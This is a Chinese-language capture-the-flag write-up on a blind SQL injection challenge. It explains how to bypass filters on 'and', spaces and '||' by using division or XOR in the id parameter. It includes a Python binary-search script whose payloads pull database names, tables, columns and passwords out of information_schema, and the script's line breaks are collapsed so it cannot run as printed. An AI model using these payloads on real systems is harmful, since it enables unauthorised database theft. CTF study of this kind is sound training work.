直接看題
可以看到題目給了提示盲注!那么接下來就是尋找注入點了!
那么不能發現注入點就是id了!注入類型為數值型注入!這里直接嘗試盲注。但是這里and被過濾了&&也不行。問了幾個師傅說用or,但是空格被過濾了,||也被過濾了。所以似乎不行!
不用空格是起不到效果的!所以這里另尋他法。那么如果你要替換一個東西你可以去思考一下它為什么能起作用!那么盲注的本質是什么?其實就是利用了頁面的回顯的不同在佐證我們對flag的盲猜!那么你會發現id=0時是查詢失敗的,id=1是查詢成功的,然后呢我們盲注語句也是返回1和0的,于是就想有沒有一種運算使得1()1為1,1()0為0!那么這里我就想到了/,盡管不滿足1/0為0,但是也是可以區分了!
而且這里mysql也是支持的!于是就直接開打!
import requestsurl = "http://0fec30ef-0317-4d57-8e6a-803bb5a076d0.node5.buuoj.cn:81/search.php?id="
result = ''
i=0while True:i = i + 1head = 32tail = 126while head < tail: mid = (head + tail) >> 1 #payload = f'1%2F(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+'#payload = f'1%2F(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})--+'#payload = f"1%2F(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})--+"payload = f"1%2F(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"r = requests.get(url + payload)if "NO! Not this! Click others~~~" in r.text:head = mid + 1else:tail = midif head != 32: #用于判斷是否找完了flagresult += chr(head)else:breakprint(result)
#二分法腳本
那么后面發現異或^運算也是可以的。1 ^ 1=0, 1 ^ 0=1!